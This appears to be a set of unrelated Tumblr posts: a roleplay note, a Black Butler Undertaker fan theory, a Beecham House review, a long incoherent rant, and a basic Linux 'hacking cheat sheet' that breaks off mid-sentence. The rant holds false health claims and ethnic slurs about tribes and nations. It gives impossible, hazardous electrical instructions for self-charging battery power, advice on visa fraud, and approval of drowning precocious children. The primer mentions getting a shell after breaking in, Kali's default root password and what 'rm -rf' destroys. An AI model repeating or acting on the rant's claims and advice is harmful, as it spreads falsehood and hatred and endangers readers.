#( ; i initially wanted to change victoria's but cant do it. )

[fortislumen-a]

after a few days of secretly thinking between three precious human beings, bridget regan is pepper's new fc.

#( ; gwyneth is still the love of my life but i wanted to risk a little change. ) #( ; i initially wanted to change victoria's but cant do it. ) #( ; so i'm changing peps. ) #( ; now i demand threads pls send pepper things. ) #( ; i will give you candy. ) #( ;; ooc. ) #( ;; psa. ) #( ;; WHO’S THE HOT MESS NOW? / pepper potts / VISAGE. )

[abybweisse]

I've seen a thread on ig about how Undertaker was probably never Claudia's lover, and I know you kinda ship them or at least are a believer of the UT=Cedric theory, I kinda am too and I tried not to be bias while reading that post but I feel like their points were rlly weak. Here are some points that tried to debunk UTxClaudia: 1. Cedric canonly has a birth and a death date which means he is human (lol).

2.Because UT was already a shinigami when he met Clau, we need to ask ourselves some questions: Why should a shinigami be able to have children? Since the shinigami duty is a punishment for those who commited suicide. Being able to live a nice life, have kids and interfere with human affairs and lives does not respect those facts.

3. Isn't it weird for him to fall in love with someone that was born 24 yrs after he came to the human world?

4. UT expressed strong feelings toward all the other mourning lockets and Vincent especially. Why would Claudia be more important than the rest of them?

Idk but when I read this I went ??? a bit cause I dont think it rlly debunks anything :/.. or maybe I cant see it that way cause I'm a fan of the theory/ship. However I wanted to see the side of a theorist/ an analytical pov, so what do u think?

Thanks for thinking of me! 😊

Only two things boggle my mind, here:

How that person thought their arguments debunked anything in the world, and

How you managed to send such a long ask in one message....

Anyway, I’ve received asks like this before, but it’s usually from people who think more like that thread on ig. You can try searching my blog with some of the tags on this post, like #cedric k. ros—, etc. But let me see if I can pull up something that gets to the heart of this ask....

....Um, it’s really spread out over way too many posts for me to grab that many links. Anyway, a search for “cedric k ros” brought up a ton of posts generally on this topic.

Also, my beliefs have changed somewhat over the years. I wonder how old that ig thread is, since we’ve learned a lot more canon information on Undertaker and the Phantomhive family since I first joined the discussion of Undertaker’s true identity. So, I’ll address each part of your ask here and now.

Cedric has a canon birthdate and death date, so he must be human. Well, it means he must have once been human, but it doesn’t mean he’s a mere human now. Besides, the years of his birth and death are rather conveniently covered up by a speech bubble. The rest of his last name, too. Go check out all my #cedric of rotherwood posts. Cedric might have lived and died centuries ago, might have become a reaper long ago, too.

Shinigami having kids breaks the rules. Reapers being able to have children could actually be part of their punishment... if my theory is correct that reapers are reborn as a form of karmic reincarnation. That would mean reapers are born to biologically female reapers, who definitely do exist; there just don’t appear to be as many of them, which fits suicide statistics. A reaper having children with a human goes against reaper rules, since they are not supposed to meddle in human affairs... just collect souls. Technically, they don’t even judge the souls, they just follow a protocol to verify it’s that person’s time to die. This doesn’t mean it’s impossible; it just does, in fact, mean Undertaker is breaking reaper rules. But he’s obviously doing that anyway. Why not break all of them? 🤨 Edit: There’s a good reason for him to want to have children with human females (not even necessarily just one), for the very reason that it skirts around this punishment of making more reapers with reaper females. Reapers like Undertaker, who might be mating with humans, can cause the reaper organization to become even more understaffed over time. That’s something else I have mentioned before in my theory about them being reborn. There could even be a backlog of souls from suicide victims that are waiting around for new reaper bodies to be placed into. And the way Ronald flirts with females both in the reaper realm and the human realm suggests that Undertaker isn’t the only one who might be spreading around his reaper genes... changing the very nature of humanity over the generations.

It’s weird that Undertaker would fall in love with a human within however many years of deserting his post. Not weird at all, plus we don’t know whether love is the only thing that might have brought them together. Also, 24 years is merely a guess... and not a very good one. 136649 tried to destroy reaper HQ ~70years before 1889, so around 1819. The year these three things historically happened: 1. Queen Victoria was born, 2. Prince Albert was born, and 3. (Sir) Walter Scott introduced the world to Cedric of Rotherwood in Ivanhoe. He even invented that name, Cedric. Undertaker says he hadn’t been called a reaper in about 50years. That suggests two things: 1. He not only failed to destroy the HQ, but he also might have been captured, punished, and returned to his work as a reaper until he finally deserted about 20years later, and 2. If he didn’t actually manage to escape until around 1839 or thereabouts, then Cloudia/Claudia was just a kid at the time. Undertaker might have become involved in the Phantomhive family’s “work” before she became watchdog; he might have been an informant to her father, for example.

Why should he care more about Cloudia/Claudia than the other people on the lockets or Vincent? If he loved her, and if she bore his children, then it would explain this quite easily. Who wouldn’t cry over the death of their child? These other six people represented by the other lockets must also have been particularly dear to him, for various possible reasons. But he seems to focus the most on her locket. It’s also placed directly in the center of the chain; they are not in order of death dates. (In fact, their last initials create a pretty cool set of notes, with Phantomhive becoming an F or an F# [F sharp]. Please see #lockets’ melody and #leitmotif posts that date as far back as 2016). And more recently, her locket (and her locket alone) has become a symbol of Undertaker in series merchandise. Them having been lovers would explain it pretty well, I should think! And, if I’m right that “136649” means he became the 49th registered reaper of 1366, then Cloudia/Claudia died (was killed) not just on a Friday the 13th... but also 500 years after Undertaker was registered as a reaper.

Thanks for this ask, and please check out the tags below for more information.

#black butler #kuroshitsuji #undertaker #cedric k. ros #cedric k. ros— #cedric of rotherwood #undertaker is cedric #lockets' melody #leitmotif #136649 #theories #thoughts #observation #anon asks #i answer #answered asks #mar 7 2021 #reaper realm #punishment #salvation #redemption #reaper organization

[templehill]

What’s gone wrong with Beecham House?

Warning – contains spoilers

Trying to work out why Beecham House, ITV’s BIG drama that was meant to replace Downton Abbey at least in viewer size if not in exact tone, is doing so badly. A TON of publicity was thrown at it with the cast appearing on everything from The One Show to This Morning to BBC Breakfast as well as a features in newspapers and magazines. It’s the brainchild of Gurinda Chadha OBE who directed Bend it Like Beckham and the Viceroy’s House and is of Indian heritage, and the cast contains a mix of British and Indian actors some of whom will be familiar from other period dramas e.g. Tom Bateman (vanity fair), Leo Suter (Victoria) and Lesley Nichol (Downton Abbey)

Despite all this though, the opening episode only had 2.6 million viewers making it ITVs smallest 9pm Sunday drama premiere audience since 2015. Since then figures have dropped further with episode 3 dropping below 2 million. Why has it gone so horribly wrong? Yes its up against Gentleman Jack and you’d assume that the audience for the two shows would be very similar but that doesn’t explain the lack of catch up audience i.e. people watching on ITV hub

The sets are amazing, the costumes fantastic, the storyline has potential but it’s just not working.

I should say btw that Im enjoying it but possibly for the wrong reasons. Anyway my twopenneth on what’s going wrong

1.       John Beecham is very very dull. Sorry but he is. The entire show centres around him and his mysterious past and why he is the father of a mixed heritage baby. We should really care about John and what has happened to him but somehow we don’t. Possibly because the script is dire but also because he comes across as ‘earnest hipster who has been on a gap year trip to India and is now going to Indiasplain everything to everyone even the locals’. It was a mistake to try and sell Tom Bateman as the new Aiden Turner with a topless gardening scene because he just isn’t and bluntly you’ve also got Leo Suter there with HIS chest carved by angels. For some reason John is also striding around in an overcoat in the heat of Dehli and wearing Indiana Jones’ hat which is weird plus he also seems to be a bit dim. His best friend Samuel is so obviously a traitor, in fact we know he is, but dear old John cant see it even though his younger brother Daniel clocks it immediately. Which brings us on too

2.       Daniel Beecham is 100 times the more interesting brother. Daniel, as is telegraphed at us from space in the publicity what with the sprawling around, legs akimbo, grasping a hookah pipe as a penis substitute between his thighs photos, is meant to be the caddish contrast to the saintly John. Abandoned by John who left without a word, he’s fighting for the East India Company the series bad guys (where John was also a soldier). We meet him in a brothel and its obvious we’re meant to disapprove of him and yet..... He calls out his mother for her racism in changing the servants Indian names to English ones, points out the sensibleness of adopting Indian dress and customs while living there, cottons on immediately that Samuel is not to be trusted, has a fun relationship with Violet and offers to learn the sarod to please Chanchal the babies nursemaid who he wants to bang. The one area where he does fall down is with Chanchal who is as hot for him as he is for her but she wants love and marriage and he just sees her as a diversion until he goes back to the army. When he tells her this, she is of course devastated and he is called out by his mother for his behaviour in breaking her heart to which he replies he doesnt know what love is. Daniel is far more rounded and complex than John and we care more about him as a consequence plus lbr he’s hot af too.

3.       None of the Indian characters get a decent storyline. They float in and out of the story, a servant here, an ‘exotic’ princess there, a wholly enlightened next door neighbour but there’s no substance to any of them. Chandrika whose initial entrance we stanned totally as she took charge of baby August and ordered around the English women with an arched eyebrow of disdain has become ‘one of the three women fighting over John’ and just no. Chandrika doesn’t fight for a man people! She takes one if she wants and anyway they’d fight for her because she’s stunning. Chanchal is the only other Indian character with anything like a real storyline and its very predictable though Im still hoping that come the end of the series Daniel will ask her to marry him and she’ll tell him to shove it and go off with Baadal. For a drama that was sold as the British and India characters getting equal space and investment it really isn’t coming across that way at all.

4.       The miscasting of Lesley Nichol as John’s mother. She just isn’t good in the role and unfortunately her link to Downton was what ‘sold’ it to a lot pf people ‘oooh look Mrs Patmore goes upstairs’. Unfortunately it’s highlighting that in period dramas at least, she cant pull off middle class which is a shame.

5.       But the thing that is destroying it more than anything is the script. Oh dear lord its baaaaaaad. No cliché is left unsaid, no trope unused as the actors grapple with stilted dialogue and conversations breaking off where literally no one, NO ONE, would stop talking. Its not that they are talking in the language of the time, it’s a period drama you expect that, its just beyond clunky. The first two episodes were full of characters basically explaining the historical and political situation laughably shoehorned into conversation. A brief precis of text at the beginning of episode is all it would have taken “its 1795, The East India Company and the French are fighting each other and the rulers of India for its wealth. The East India Company are taking more and more territory while the French with turmoil raging in France are cut off from their chain of command and operating increasingly to their own rules. The Indian Princes do not trust the French or the British or each other” 

I could go on a lot more but I wont. I just think its a real shame when there is, buried away in the terrible writing, a good idea but it feels like its been fed through a mangle and just come out all wrong....I cant see it being renewed for a second season at this rate 

#daniel beecham #beechamhouse #john beecham #Shriya Pilgaonkar #Pallavi Sharda #Tom Bateman

[donannasegwickcountydetenti-blog]

Yes am back, they were selling for export exorbitantly but local i was exchanged for artificial yellow. Yes am back folks. Sudan Electronic are good dude, the USA tolerated Albashir and was rude 4 this reason. It makes you feel good and love respect and makes you slim as well even 4 Ethiopia makes you desist from arguments but channels you to lonely mature women. Why should we buy from white and what help are they to us. Aborigines are Choni and Gabana, the kenyan tribes in mass their lands natural resources were discovered like oil and many had learnt to make machine while other did not so they rushed to intermarry and thats how these other tribes got those blood b4 being shipped to earth and reshuffled again by pochogis. Tea you should heat all well with milk if you just soak it into a cup of milk you risk developing cancer of throat and lips and never you are alerted. When you buy of African made goods like sandles from UG or Kenya you get fed up of white and life, you feel like you wanna die or hang yourself. I mean you leave the things of this life which is to the positive and better dude, you became a man of few words. Container houses brings mauti/death thoughts close to you like soon you will die or loose a close friend soon. I have come to dislike them dude. Folk lifts fl, and put offering in the middle to hurl, sprinkle like sperm, urine, mafi from above to make machines. Jesus with little kid or Malachi four to cement the truth, like Christ was crucified in the middle with 2 thieves, one on both sides from lofty high bro to give us hint how he was talking of machines being made and how partially they are made. Nyako nyime en-shaggy kaka ojanyo wiye no owadwa, nene kaka joseph penjo, wiye ojany ka-nyieme, anadware- oloso kagima oywak, talking kinda as if he is crying in bass like a little kid someone taking his food yet he is still hungry. Abromiyi rat and rat manew, okblonegi but blothulo wiyi no, pat wiyi no. Odwachieme e-od-G mokfine Dong onethough gi-susan. Even and Adam were warn not to eat from the trees in the middle of the Garden as this will give them typhoid which was hard to treat and they did that and was diagnosed very quickly and that why even was saying in a crying voice we are naked out of stomach pain/upset period folks.

If you buy senye/pussy/vagina to sweet of another someone you find yourself in hell furnace, burning squatting. Vineyard and worker to cement the truth as much as manhood if you know about it. Titi that kinda is giving you a blow, long paw paw like or cylindrical is used to make grenade launcher, plane, gas cylinder and missile as well so this the advantage of hindu. This kind of breast they look at you and return the information back on their nipple, take heed dude. Colorado state, france and Germoney got one cash crop which is a hot cake, it grows big irish potatoe which is used as french fries alover Europe and America and use to make best cars alongside kales as sukuma wiki sw-ag, swara and thats why the bible also says in genesis 49 that Joseph chose the best land. Nyasaye oknyalweyi kamano, God cant just 4sake his own people, malachi 4 google. Kales and waru machines makes you at ease and the best dude. Kikuyu were gotten from Zambia transfered/relocated to kenya after Lake Victoria basin dried up when the pochogis dug the new outlet at Ginja, initially it reached Nairobi with it source and drained at Somalia. The luo, luya and Nilots, kamba were gotten from South Africa at Kalahari and namib desert and relocated to kenya. Lost coin parable and transfiguration of christ to cement the truth. Pielo e-agulu many people in a circle with offering in the middle as paw paw Brest, penguin makes a rocket or missile/plane as another method. Brest that wants to block you- mfalme wa yahoodi. If luo and luya would have been left is s.a they could attributed their character to lack of food like kamba, so with fertile land in poverty they talk well but when lifted financially changes and want to be first. The natives of South Africa were gotten from Australia not as earlier thought. Missouri state people are rwandis many folks. When tea is fenced at night the can cut the power off and still loot so let it have two electric fence and in between landmines placed to detonate any heavy foreign particles like a toddler in-case he transfigures to.

Kaka alielo, vile nimenyowa nyele ndivyo nimenyowa chini, but wacha manene chini nimechwido sana. An anjela aponone france to-ouso yourope as well, majani chai usiku. Oregon, colorado people many are Gikuyou blooded, carli4nia are uraguay, embu, kalenjin blooded, aborigins were not from Australia but EGYPT, It was changed and it been long we can never know, only its written and the Arabs should get out of there, you saw the vita as the release of the horse. Michigan people are from Uganda esp the Baganda and madi people. Anakawiya kwa cho kwa anatakakutowa apendix, the useless one in man but in ruminants very helpfull. From lofty high, you hurl/sprinkle snow unto the appendix then boom the rocket at night maybe from tall poles or cranes, many people- mfalme wa yahoodi to cement the dawning truth. We modho pi-eagulu-no mana mama Emanuel gi chiegi no diewo-e rather mama alando period utters marto. Get money via 2goinvoice and print the bank statement get to any nation embasy and get to that country as a tourist, stop disturbing people and claims. Tore your travel documents so as not to be got and live in that country out of guarantee of the invoice money. Jesus with division to cement the truth. We were kidnaped with bob colymore in India via a drone off nairobi to India that Iran fell, i guess but me lucky feehilly cooperated alongside kebi and was released. He was kidnapped a longtime, the fellow who was talking with Jeff koinange was an impostor as will smith after transfiguring. To ascertain the truth let us resort to fingerprint b4 a debate period. Georgy tinde erudho laki, you mean nowdays you even brush ya teeth, the luyas offloading 4 hindu, friends swag and pride has gotten in, yaani maringo imekushia, yaani i mean sunga odonjo. To kitambo/chon kinda it was methene gas to others, you couldnt near!!! Emanuel was heard saying sasa tunaweza karibia, yaani we can sit even with dignitaries like teresa may and be accepted. Nenene foss kaka ringo kagima yamo tero, koyoutdho tiende konchiel karangol, eti amenda kubuy credit Minaj nika amemuaccept so wali kuwa wana chart. Fuck that dude!!!  

In TUSKYSupermarket to make sure urine pour on the offering they extend it using pipes 4 the urine to fall in the middle. Supermarkets should be made of thick hard glass so that nothing hidden goes inside. We cant afford/go no trusting the foods, Let a chain store be a chain store not a factory. Open one and thats why in developed world they work 24/7. If a child knows much than in his age in the old Red Indian heritage, he was grabbed at night without his knowing and hurled in the lake superior, the same should happen now. It was done to sway tomorrow evil in the society. I now put my post on football matches as Jamaica vs Domingo or in any country Tv news like Bahama, japan, Congo Tv news check friends of any nation and check them in the 1st - 3rd post on the you-tube and promise there you will find me. Rental houses should be built for visitors not necessarily hotels where if you want to travel to any land you book online and let them be well equipped with modern furniture and TV's and let the occupation period be 1-3 months not more and this a new business idea and looking forward to not getting a job alongside buying and selling of speedy stick deodorant door to door in overseas market b4 opening an immobile office. The deodorant is bought at $ 3 and me wanna sell it at $ 10 out of shipping fee. This a new business platform i wanna venture into not sleeping around with harlots like Barryme and kepi swears Toni Aloyce. Modems broadband and limosin cars are made out of kilimi/lim, one make one car of different animals i.e hammer one is of cow, Lincoln car one is for wild beast and more. Gi-sin omera bro the walami. Lands with lakes which where dried like KS or Russia are wheat supporting and many people love them coz they are undulating, they give you instant curse and makes you go to hell. Your reproach in judgement time can be population outburst and inconsistent food made you to dry it then you escape fire but without that fire dude. You enjoyed good things bro like onding kenya, the holly ground Moses the green man saw the burning bush- women with release/ejaculate Barnabas as he was masturbating on the cross. The place gives you instant back pain necessary for rapid sex, it arouses you in a nutshell. The same they want to do 4 lake Victoria and great lakes basin they taste for humidity, temperatures, soil while on ship necessary 4 wheat farming and kinda they have found out. Big cities of the world are always built on cool/cold land of that nation to support business in clothing, much cloths sell in cold lands as opposed to hot ones like doa. Thats why the white people relocated capital from dar to dodoma and mombasa to Nairobi to support their used/mitumba clothes and thats why in pretense they say Nairobi or kigali is beautiful coz it feeds them somehow and any city of the same caliber.  

This the most reliable AE way to produce power and the most convinient/effective/effectual and surable way to produce your own power. Take one wet cell of 24 volts the put the negative and the positive cathod/terminals on a wire then on a socket then plug the welding machineWM on the socket like you do to it on the wall as input then on the output on the 2 wires that holds the welding rod, cut them and do likewise with the socket, it will give you approximately 48-52 volts when the battery is fully charged, then take a motor bike star and again return the power to charge the same same battery the welding machine is using to ensure the power is not depleted or take a computer/florescent/TV adaptor used in the usa of 120 volts which its output is 24 volts, when you use half current which is 50 V given by the WM It will give you 12-15 volts then put in a solar energy controller to again charge the same battery incase you are using 12 V battery to give you 24 V on The WM but with 24 V wet cell look for A transformer that gives you 50 V as output when used on 200 Volts which if you use half current gives you 20-25 volts to charge the very very battery. While is the USA you can add another welding machine wm(2)to step up the 50 V given to 100 to power your machine but in a nation that uses 220 volts like Tanzania, Uganda, Kenya add another welding machine to WM (3) step up the power from 100 - 200 V to be used in your household. Th beauty is you can use it in welding, cooking, heating, in fridge with just one battery. OR Guys use 4-5 motor bike batter to give you 60 Volts after connection but let them be in 2 sets, put light switch in-between the positive and negative terminal after connecting to switch off power supply inbetween the wet cell when you are charging one set while the other is in use. Put the wet cell together in a wooden frame explains eddy roy of KB and studying in Rusia with her associates. The 5o V when you step up by adding 1 wm will be 100 to be used in nations like USA but like in Nigeria or E.Africah add another WM to step it to 200 V to power you household or business premis. Below are links carying diagrams of all the accesories above. You plug an electric plug in a socket n/b. With an invator option it eliminates you not to heat and cook with it as the invator burns, how many times have you hard that cheap is expensive. The white people got another software at withdraw funds at 2goinvoice and telling theit diehard fans around. Corruption of the hieghest degree. Wilson Williams advices me.

What is a url or a link folks, click the link below or google to find out stop disturbance.

https://www.techopedia.com/definition/1352/uniform-resource-locator-url

https://www.youtube.com/watch?v=RIMymzNrRhc   https://www.youtube.com/watch?v=9obm__-OGdI

My new tumblr a/c are nelsonunderwood, nelson higgings, nelson hector and nelson upholstery as well as mcfarland.

If you are involed in illegat tea picking at night you will find your way into hell furnace, some people are put into furnace some period of time depending on the nature of sin then returned back/released. If you pick tea illegal side effect is, you develop hug/broad/big shoulder and we can know it that way. Many white people in Kenya have recruited people with their day to either go to central, eastern, kisii or kericho to pick tea the people who mostly sit in a bandwagon. If you take a coin as money and put it in the middle of the palm of your hand then close the palm to hide it then bring it close to your 4head as if you are worship this does magics to you dude. It directs you all your life but do it periodically not once. It gives you insights/in-stings of those nation which are dangerous, who and where you can be killed and women who are safe or not to Marry from their nations. LIKE Rusia, malaysia, Argentina chorea/leave dude they got kawhoma or luo blooded just fuck and leave and thats why they are wanted to be harlots, Ethiopians, Jamaica as well they are kisii, scorsica as well, cheque republic and colorado, Oregon are kikuyou gives you bad blood and takes you to hell, let them marry their own, Ghanians are kalenjin and Cameroonian are meru as Barbados they disturb a lot. Japanis and italians as well are kawhoma, saudia are luo, s.a are luyas and you have seen their character with or without cash. Some nice looking stereo speakers are made with young infants/kids, those that you feel good if you near them so many kids are killed in pretense to support this as much as intestines for wires and penis for kitchen wares like knife and spoon and this is illuominatea. They kill people whom they want to support this bro, maybe you dint know.

A new massage with hope and which is better from a friend in Australia buy Electronic gadgets made out of sima/ugali/kuon. Got less side effect to the mind. Rockets are made in hot deserts like texas, sahara etc with sprinkling of snow gotten from mountaintops or winter from lofty high like on a pole, crane or folk lift. You will be left alone like a flag post on a mountaintop google in the bible. But with missiles are made in snow in winter period or on mountaintops with snow on a lofty high place like a flag post, Or when its sleeting. You hurl or sprinkle as pour the snow/theluji/barafu from high above. Women with barnabas at time of christ crucifixion to bring out/cement the truth dude. Bros are the black men of usa, dont rush to think its you.  Click the link below for more information;

https://www.bing.com/search?pc=COS2&ptag=D072619-N0310A2E56C04939&conlogo=CT3335789&q=You+will+be+left+alone+like+a+flag+post+on+a+mountaintop&form=CONBDF

Now they got made in Kenya Electronic, luo, america, Europe, gikuyu, mr hindu what do you want unless you are finished as the army.

Screw driver SD you see mrs Susan and uhuru and likes micron, inserting a screw driver on the belt of the alternator of the plane engine to cut power supply shortly to make the plane fall. She is like Mzee kobe MK matako/mfalme kevineth, mt kenya and sa got snow during winter can make Missiles as much as Tz at mt kilimanjaro- road to emaus to signify the truth. With battery made AE you can buy solar van, car from Netherlands and cut the wire from the solar panel and fix your Ae to power the car at night or in cold weather or in winter or electric car from Germany and cut the wire from where its being charged to the wall and also have a car that moves without gas or being charged. Say luo Sl small leaved, sovereigne lord, where will it take you and thats the question to Tuskys supermarket to change made in kenya to luo land which is being corrupt and championing a coup de tat or attack internet server as to overturn usa government and delete monde things from lucky dube songs in his name nelson monde or other names where he went to the cyber and found not logged in gmail and posted on youtube with or the same fellow like Dedan onyango of kcb opened the same on other peoples name and posted what mr kev sent to him on email on youtube. Safcom lines or Orange line are sold at 20 bob and mr monde just create an email like [email protected] for email opening to comment with on youtube but what he changes is after county adds a number maybe 1-100 every time he visits the cyber and maybe once a month ask 4 a phone and open now that email to confirm his email on tumblr a/c by we send you a magic link period, luya leave me alone, i dont enjoy cutting people with a panga and me am not a Nigro, if you are one, well take your pride and get your ass to the usa, leave me alone. Mfalme wa yahoodi. Now we got gadgets written made in kenya, mr white man whats your want like Mr Dennis, get back to your nation period. Stop planning panga attacks and behaves as if your my wife and am eating with you at eating very fast finishing your share, same as to with your child. Buy gadgets from your country to promote your nation, is only TV, Radio, phones, computer that you can buy from other spheres which got less side effects like from N.sudan or malaeysia. Goat & sheep parable to cement the truth. I open the gmail a/c and on the computer screen after i logg off i remove it so the cyber got no record of it to try to get into it. Its me alone i know of it and so felaz how will you get into my tumblr a/c after the tumblr password i 4got and resorted to log via email and the gmail one i removed the phone number under settings and every week i open a new email with a new tumblr and i go to my originol tumblr and what i have written new i add as copy paste from previous tumblr to this new tumblr a/c. Bwana stop. Wandete is Gambia name as well not luya/luo. Jamaicans got sense, the only thing in their nation is sugar cane used as a sweetener or to make gadgets as sacrifice so people say they have changed but to them they are looking into the future of their nation which is tourism to attract the very very white tourist who dispiced them. Malachi 4 to cement the truth, dont blame them dude, africans wont go there its only whites who form the bulk of carribean tourists, dont cheat them dude, they are highly educated than you, they think beyond their nose/reach. With tumblr you can open from any name dude even, mijikenda, luya, toro even if you are korean, so kenyans dont rush to claim lien, whats wrong with you just like with opening emails, it accepts the computer any name dude and try.  You used to say those things are made cz you had known how to make them, so you wanted to be worshiped with other tribes who have also learnt to make the same and looking 4 oversees markets just like you. Fuck that dude!!! Stop now.

[shikataganaipoly]

Hacking Cheat Sheets Part 3: Linux

Here is a little primer on some basic Linux, which is important for hacking

Linux Operating System

Linux File System

/ Root of the file system /var Variable data, log files are found here /bin Binaries, commands for users /sbin System Binaries, commands for administration /root Home directory for the root user /home Directory for all home folders for non-privileged users /boot Stores the Linux Kernel image and other boot files /proc Direct access to the Linux kernel /dev direct access to hardware storage devices /mnt place to mount devices on onto user mode file system

Identifying Users and Processes

INIT process ID 1 Root UID, GID 0 Accounts for services 1-999 All other users Above 1000

ring 0 in the security rings model, is where the kernel lies in linux ring 1 and ring 3 is where device drivers lie ring 3 is the users space and this is where init is and applications, etc.

init executes scripts to setup all non-os services and structures for the user environment. it also checks and mounts the file system and spawns the gui if its configured to do so. it will then present the user with the logon screen. init scripts are usually located in the etc/rc..../

</> is the root directory, this is where the linnux file system begins. every other directory is underneath it. do not confuse it with teh root account or the root accounts home directory

</etc> these are the config files for the linux system. Most are text files and can be edited

</bin> and </usr/bin> these directories contain most of the binaries for the system. The /bin directory contains the most important programs : shells, ls, grep. /usr/bin contains other applications for the user.

</sbin> and </usr/sbin> most system administration programs are here

</usr> most user applications, their source code, pictures,docs,and other config files. /usr is the largest directory on a linux system

</lib> the shared libraries (shared objects) for programs that are dynamicaly linked are stored here

* </boot> boot info is stored here. the linux kernel is also kept here, the file vmlinuz is the kernel

* </home> where all the users home directories are. every user has a directory under /home and its usually where they store all their files

* </root> the superusers (root) home directory

* </var> contains frequently changed variable data when the system is running. also contains logs (/var/log), mail ( /var/mail), and print info (/var/spool)

* </tmp> scratch space for temporary files

* </dev> contains all device info for the linux system. Devices are treated like files in linux, and you can read/write to them just like files (for the most part)

* </mnt> used for mount points. HDs , usbs, cd roms must be mounted to some directory in the file system tree before being used. Debian sometimes uses /cdrom instead of /mnt

* </proc>  this is a special and interstinng directory. its actually a virtual directory  because it doesnt actually exist. it contains info on the kernel and all processes info. contains special files that permit access to the current configuration of the system

file permissions are specified in terms of the permissions of 1. the file owner (self) 2. the files group members (group/business) 3. and everyone else (other)

* she-bang is #! and you would use this when writing a shell script at the beginning of the script. You will need to point it to teh interpreter which in linux bash is  #!/bin/sh

• Ls  to list whats in the directory, ls  -la for hidden files • When using cd to change directories remember the 2 ways is absolute path and relative path. Absolute path is in relation to the root directory, so if I wanted to change to the desktop from anywhere I type the absolute path to the desktop which is  cd  /root/desktop. If I was in the root directory I could use the relative path to the desktop (that is relative to your current location) with cd Desktop (it is case sensitive). The command cd  .. takes you one level back in the filesystem • Man pages: to learn more about the ls command you can do man ls and that will list the man page about it. Q quit • Adding a user: by default the kali login is a privileged account because many tools require root to run. You should add an underprivileged account for everyday use. Adduser ray  this will add a user and put it in group 1000 and create a home directory at /home/ray. It will then ask for a password twice, put one in. then it will ask for extra values optional like full name, work number , etc. Now I may need to do something as root as my regular user so I need superuser privileges added to my new user. We do that with adduser ray sudo . now if I want to switch to my regular user I do  su ray . lets say I want to test if its underprivileged, try typing in  adduser smojoe and see that it says command not found, that’s because we are underprivileged. Now try sudo adduser smojoe and put your password it and see that you can now add the user. If you want to switch back to root type su, then the root password which by default is toor. To change your root password type passwd and hit enter, then type in the new password twice. • Creating a new file: to make a new empty file type touch raysfile . • Make a new directory: mkdir raysdirectory • Copying, moving and removing files: to copy a file use the cp command with the syntax of cp source destination: cp /root/raysfile raysfile2. To move a file its identical to copy except you use mv: mv /root/raysfile2 /root/raysdirectory. To remove a file type rm raysfile2. (side note , rm  -rf deletes the entire filesystem because  the r removes recursively) • Adding text to a file: echo by itself will just repeat what you type in the terminal window. So echo im captain awesome will repeat this phrase back to you in the terminal. To put it in a file you use the > redirect command: echo im captain awesome > raysfile. To see the contents of it you type: cat raysfile. Now lets say I want to add more text to it, if you type echo im captain awesome again  > raysfile and then cat it, you will notice that it overwrote what was there previously. We need to append with  >> instead of the single >. So the command would be: echo im captain awesome a third time  >> raysfile. Cat that and you will see it appended it to a new line • File permissions: lets see what permissions my file has:  ls  -l raysfile. From left to right its first the file type (if it’s a directory or a file) then it’s the permissions (-rw-r-r--) then the number of links to the file (1), then the user and group that own the file (root), then the file size (however many bytes), then the last time the file was edited (the date and time) and finally the name of the file (raysfile).  For permissions linux has read (r), write (w), and execute (x). there is also 3 sets of user permissions for owner, group, and all users. So the first 3 parts are for owner, the next 3 are for group and the final 3 are for all users. So  the  -rw-r-r—means that the owner gets read/write, the group gets read only, and all other users get read only. Because I made the file while logged in as root you will see root root after the permissions. To change permissions for a file use the chmod command, when specifying the permissions use number 0-7. So they would be like: o 7      full permissions       111  binary o 6      read and write         110  binary o 5      read and execute    101  binary o 4      read only                 100  binary o 3     write and execute     011  binary o 2      write only                 010  binary o 1      execute only  001  binary o 0      none                         000  binary • Chmod: so lets say I want to give the owner execute, read and write and the group and everyone else gets no permissions I would do chmod 700 raysfile. This is because the order for that in the binary of 111 is rwx as in read first then write then execute. The first initial dash – is stating that it’s a file, if it had a D there it would indicate that it is a directory. • you can also do it by letter notation where: u = user owner, g = group owner, o = others or world, and a = all. so for example, if the file is already rwx------ and then i type chmod g+w, then it would read rwx-w----, meaning i added (+) the write capability to the group section.  if i did chmod a+x that would now read rwx-wx--x meaning everybody (owner, group and world) have execute privileges now. if i did chmod a-x, now it would read rw--w---- meaning i have removed the execute privilege from everyone. • Editing files: your not always going to have a gui text editor, especially when you break into a linux and get shell, so you need to be familiar with the shell version editors like nano and vi. So if I want to make a new file and edit it simultaneously I would type: nano testfile.txt. once this opens up you can start entering text (enter in chuck Norris knows victorias secret)and when your done you do ctrl-x and it will ask you if you want to save it, type Y and hit enter. Lets bring that testfile back up by typing nano testfile.txt again, now lets do a search for the word chuck. Do a ctrl-w and in the box type chuck and hit enter, it should bring the flashing cursor to the c in chuck. Ctrl-x again and hit y to save and enter. Now lets try vi editor, type vi testfile.txt. in its current state you cant enter text yet because you have to hit I (as in the letter i) to insert and start adding text. Add some text to the file, when your done hit escape to come back to command mode, here you can do stuff like delete words by positioning the cursor over a letter and hitting D and depending on which arrow key you do it will delete the letter. For example the word test, if the cursor is over the “e” and I hit d and then right arrow it deletes the “e”. now the cursor is over the “s” and the word says “tst”. If I hit D while the cursor is over the “s” and hit my left arrow it deletes the “t”, keeping the “s” intact. Kinda weird stuff, I prefer nano. If you position the cursor on a line and hit dd it will delete the whole line. To exit vi and to write the changes to the file you type :wq  , w for write and q for quit. To learn more about these look to the man pages. • Data manipulation: lets make a file with touch raystest and make it look like below: 1  warrior   favorite 2  300  favorite2 3  braveheart  favorite3 • Grep: now lets find all instances of a word, type: grep favorite raystest. This should output all 3 lines, now lets type: grep warrior raystest, this should output just the line that has warrior on it. Notice how it dumps the whole line not just the word. Now lets just find and output a word from the file using the pipe command. Type: grep warrior raystest  |  cut   -d “ “   -f 2     in this command the  -d is for delimiter, which in this case would be the space that’s in the line (1 warrior favorite), and the  -f is the field in that line, being the second column. So its saying that in the second column if there is a word called warrior then output it to screen (warrior, 300 and braveheart are in the second column). Notice that if you rerun that command and change the  -f 2 to a  -f 3 it will output the word “favorite”, this is because it found the word warrior, so take that line and give me the value of whats in the 3rd column. • Sed:  you can also use sed to manipulate the data based on certain patterns and expressions. So lets say I had a long file and I needed to replace every instance of a certain word, sed is what you can use. With sed a / is the delimiter character, so lets say I wanted to replace every instance of favorite with awesome, type: sed  ‘s/favorite/awesome/’ raystest    this should output the text from our file but now it will say awesome, awesome2, and awesome3 • Awk: you can use to do pattern matching, so lets say in my file I wanted to find entries in the first column that were higher than 1, I would type: awk ‘$1 > 1’ raystest  this will output the 2nd and 3rd line of my file. Then if I only wanted it to say “1 warrior, 2  300,  and 3  braveheart” thus omitting the favorite words, I would 